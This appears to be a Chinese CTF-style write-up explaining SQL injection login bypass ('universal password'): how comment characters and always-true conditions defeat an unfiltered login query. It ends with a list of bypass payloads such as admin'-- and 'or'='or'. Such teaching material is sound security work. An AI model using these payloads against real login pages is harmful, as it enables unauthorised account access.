一、
进来就是登录框,直接用万能密码看看先
登录
二、原理
万能密码利用的原理就是在后台登陆页面没有对用户输入的内容进行限制或过滤
你看到的登录界面放在SQL后台大概就是这样一个简单的SQL语句
select * from user where username='账号' and password='密码'
把我们刚才填的账号密码放进去就是
select * from user where username='1' or 1 =1 # ' and password='123'
# 在SQL中是注释符,注释符后面的内容不起作用,所以真正执行的SQL大概是下面这样
select * from user where username='1' or 1 =1
SQL只会在数据库中查询用户名,而不是同时查询用户名和密码,这就意味着,只要用户名正确,就可以登录成功。而1=1是正确的,所以返回正确
由于参数可以用双引号包裹、单引号包裹、甚至不包裹,万能密码可以有三种形式:
数值型:admin #
单引号字符串型:admin'#
双引号字符串型:admin"#
这实际上是利用了注释 # 的特性,由于 - - 也是SQL的注释,万能密码又多了三种形式
SQL的语法格式规定--
和后面的注释内容必须间隔一个空格。:
数值型:admin-- a
单引号字符串型:admin'--
双引号字符串型: admin"--
本题也可以这样填
还有一些其他万能密码
admin'--
admin' or ''=''--
admin' or 1=1--
'or 1=1--
admin'or''='
'or'='or'
'or''='